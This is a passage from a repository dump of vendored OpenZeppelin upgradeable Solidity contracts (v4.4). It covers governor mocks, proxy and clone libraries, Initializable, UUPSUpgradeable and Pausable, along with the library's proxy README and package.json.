function votingDelay() public pure override returns (uint256) {
return 1; // 1 block
}
function votingPeriod() public pure override returns (uint256) {
return 45818; // 1 week
}
// The following functions are overrides required by Solidity.
function quorum(uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)
returns (uint256)
{
return super.quorum(blockNumber);
}
function getVotes(address account, uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function state(uint256 proposalId) public view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (ProposalState) {
return super.state(proposalId);
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public override(GovernorUpgradeable, IGovernorUpgradeable) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (uint256) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function _executor() internal view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (address) {
return super._executor();
}
function supportsInterface(bytes4 interfaceId)
public
view
override(GovernorUpgradeable, GovernorTimelockControlUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/wizard/MyGovernor2Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../../governance/GovernorUpgradeable.sol";
import "../../governance/extensions/GovernorProposalThresholdUpgradeable.sol";
import "../../governance/extensions/GovernorCountingSimpleUpgradeable.sol";
import "../../governance/extensions/GovernorVotesUpgradeable.sol";
import "../../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol";
import "../../governance/extensions/GovernorTimelockControlUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
contract MyGovernor2Upgradeable is
Initializable, GovernorUpgradeable,
GovernorTimelockControlUpgradeable,
GovernorProposalThresholdUpgradeable,
GovernorVotesUpgradeable,
GovernorVotesQuorumFractionUpgradeable,
GovernorCountingSimpleUpgradeable
{
function __MyGovernor2_init(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained("MyGovernor", version());
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__Governor_init_unchained("MyGovernor");
__GovernorTimelockControl_init_unchained(_timelock);
__GovernorProposalThreshold_init_unchained();
__GovernorVotes_init_unchained(_token);
__GovernorVotesQuorumFraction_init_unchained(4);
__GovernorCountingSimple_init_unchained();
__MyGovernor2_init_unchained(_token, _timelock);
}
function __MyGovernor2_init_unchained(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {}
function votingDelay() public pure override returns (uint256) {
return 1; // 1 block
}
function votingPeriod() public pure override returns (uint256) {
return 45818; // 1 week
}
function proposalThreshold() public pure override returns (uint256) {
return 1000e18;
}
// The following functions are overrides required by Solidity.
function quorum(uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)
returns (uint256)
{
return super.quorum(blockNumber);
}
function getVotes(address account, uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function state(uint256 proposalId) public view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (ProposalState) {
return super.state(proposalId);
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public override(GovernorUpgradeable, GovernorProposalThresholdUpgradeable, IGovernorUpgradeable) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (uint256) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function _executor() internal view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (address) {
return super._executor();
}
function supportsInterface(bytes4 interfaceId)
public
view
override(GovernorUpgradeable, GovernorTimelockControlUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/wizard/MyGovernor3Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../../governance/GovernorUpgradeable.sol";
import "../../governance/compatibility/GovernorCompatibilityBravoUpgradeable.sol";
import "../../governance/extensions/GovernorVotesUpgradeable.sol";
import "../../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol";
import "../../governance/extensions/GovernorTimelockControlUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
contract MyGovernorUpgradeable is
Initializable, GovernorUpgradeable,
GovernorTimelockControlUpgradeable,
GovernorCompatibilityBravoUpgradeable,
GovernorVotesUpgradeable,
GovernorVotesQuorumFractionUpgradeable
{
function __MyGovernor_init(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained("MyGovernor", version());
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__IGovernorCompatibilityBravo_init_unchained();
__Governor_init_unchained("MyGovernor");
__GovernorTimelockControl_init_unchained(_timelock);
__GovernorCompatibilityBravo_init_unchained();
__GovernorVotes_init_unchained(_token);
__GovernorVotesQuorumFraction_init_unchained(4);
__MyGovernor_init_unchained(_token, _timelock);
}
function __MyGovernor_init_unchained(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {}
function votingDelay() public pure override returns (uint256) {
return 1; // 1 block
}
function votingPeriod() public pure override returns (uint256) {
return 45818; // 1 week
}
function proposalThreshold() public pure override returns (uint256) {
return 1000e18;
}
// The following functions are overrides required by Solidity.
function quorum(uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)
returns (uint256)
{
return super.quorum(blockNumber);
}
function getVotes(address account, uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function state(uint256 proposalId)
public
view
override(GovernorUpgradeable, IGovernorUpgradeable, GovernorTimelockControlUpgradeable)
returns (ProposalState)
{
return super.state(proposalId);
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public override(GovernorUpgradeable, GovernorCompatibilityBravoUpgradeable, IGovernorUpgradeable) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (uint256) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function _executor() internal view override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (address) {
return super._executor();
}
function supportsInterface(bytes4 interfaceId)
public
view
override(GovernorUpgradeable, IERC165Upgradeable, GovernorTimelockControlUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/package.json
================================================
{
"name": "@openzeppelin/contracts-upgradeable",
"description": "Secure Smart Contract library for Solidity",
"version": "4.4.2",
"files": [
"**/*.sol",
"/build/contracts/*.json",
"!/mocks/**/*"
],
"scripts": {
"prepare": "bash ../scripts/prepare-contracts-package.sh",
"prepare-docs": "cd ..; npm run prepare-docs"
},
"repository": {
"type": "git",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable.git"
},
"keywords": [
"solidity",
"ethereum",
"smart",
"contracts",
"security",
"zeppelin"
],
"author": "OpenZeppelin Community ",
"license": "MIT",
"bugs": {
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/issues"
},
"homepage": "https://openzeppelin.com/contracts/"
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/ClonesUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Clones.sol)
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library ClonesUpgradeable {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal onlyInitializing {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal onlyInitializing {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/README.adoc
================================================
= Proxies
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/proxy
This is a low-level set of contracts implementing different proxy patterns with and without upgradeability. For an in-depth overview of this pattern check out the xref:upgrades-plugins::proxies.adoc[Proxy Upgrade Pattern] page.
Most of the proxies below are built on an abstract base contract.
- {Proxy}: Abstract contract implementing the core delegation functionality.
In order to avoid clashes with the storage variables of the implementation contract behind a proxy, we use https://eips.ethereum.org/EIPS/eip-1967[EIP1967] storage slots.
- {ERC1967Upgrade}: Internal functions to get and set the storage slots defined in EIP1967.
- {ERC1967Proxy}: A proxy using EIP1967 storage slots. Not upgradeable by default.
There are two alternative ways to add upgradeability to an ERC1967 proxy. Their differences are explained below in <>.
- {TransparentUpgradeableProxy}: A proxy with a built in admin and upgrade interface.
- {UUPSUpgradeable}: An upgradeability mechanism to be included in the implementation for an ERC1967 proxy.
CAUTION: Using upgradeable proxies correctly and securely is a difficult task that requires deep knowledge of the proxy pattern, Solidity, and the EVM. Unless you want a lot of low level control, we recommend using the xref:upgrades-plugins::index.adoc[OpenZeppelin Upgrades Plugins] for Truffle and Hardhat.
A different family of proxies are beacon proxies. This pattern, popularized by Dharma, allows multiple proxies to be upgraded to a different implementation in a single transaction.
- {BeaconProxy}: A proxy that retreives its implementation from a beacon contract.
- {UpgradeableBeacon}: A beacon contract that can be upgraded.
In this pattern, the proxy contract doesn't hold the implementation address in storage like an ERC1967 proxy, instead the address is stored in a separate beacon contract. The `upgrade` operations that are sent to the beacon instead of to the proxy contract, and all proxies that follow that beacon are automatically upgraded.
Outside the realm of upgradeability, proxies can also be useful to make cheap contract clones, such as those created by an on-chain factory contract that creates many instances of the same contract. These instances are designed to be both cheap to deploy, and cheap to call.
- {Clones}: A library that can deploy cheap minimal non-upgradeable proxies.
[[transparent-vs-uups]]
== Transparent vs UUPS Proxies
The original proxies included in OpenZeppelin followed the https://blog.openzeppelin.com/the-transparent-proxy-pattern/[Transparent Proxy Pattern]. While this pattern is still provided, our recommendation is now shifting towards UUPS proxies, which are both lightweight and versatile. The name UUPS comes from https://eips.ethereum.org/EIPS/eip-1822[EIP1822], which first documented the pattern.
While both of these share the same interface for upgrades, in UUPS proxies the upgrade is handled by the implementation, and can eventually be removed. Transparent proxies, on the other hand, include the upgrade and admin logic in the proxy itself. This means {TransparentUpgradeableProxy} is more expensive to deploy than what is possible with UUPS proxies.
UUPS proxies are implemented using an {ERC1967Proxy}. Note that this proxy is not by itself upgradeable. It is the role of the implementation to include, alongside the contract's logic, all the code necessary to update the implementation's address that is stored at a specific slot in the proxy's storage space. This is where the {UUPSUpgradeable} contract comes in. Inheriting from it (and overriding the {xref-UUPSUpgradeable-_authorizeUpgrade-address-}[`_authorizeUpgrade`] function with the relevant access control mechanism) will turn your contract into a UUPS compliant implementation.
Note that since both proxies use the same storage slot for the implementation address, using a UUPS compliant implementation with a {TransparentUpgradeableProxy} might allow non-admins to perform upgrade operations.
By default, the upgrade functionality included in {UUPSUpgradeable} contains a security mechanism that will prevent any upgrades to a non UUPS compliant implementation. This prevents upgrades to an implementation contract that wouldn't contain the necessary upgrade mechanism, as it would lock the upgradeability of the proxy forever. This security mechanism can be bypassed by either of:
- Adding a flag mechanism in the implementation that will disable the upgrade function when triggered.
- Upgrading to an implementation that features an upgrade mechanism without the additional security check, and then upgrading again to another implementation without the upgrade mechanism.
== Core
{{Proxy}}
== ERC1967
{{ERC1967Proxy}}
{{ERC1967Upgrade}}
== Transparent Proxy
{{TransparentUpgradeableProxy}}
{{ProxyAdmin}}
== Beacon
{{BeaconProxy}}
{{IBeacon}}
{{UpgradeableBeacon}}
== Minimal Clones
{{Clones}}
== Utils
{{Initializable}}
{{UUPSUpgradeable}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/beacon/IBeaconUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol)
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal onlyInitializing {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal onlyInitializing {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/security/PausableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/security/PullPaymentUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/PullPayment.sol)
pragma solidity ^0.8.0;
import "../utils/escrow/EscrowUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Simple implementation of a
* https://consensys.github.io/smart-contract-best-practices/recommendations/#favor-pull-over-push-for-external-calls[pull-payment]
* strategy, where the paying contract doesn't interact directly with the
* receiver account, which must withdraw its payments itself.
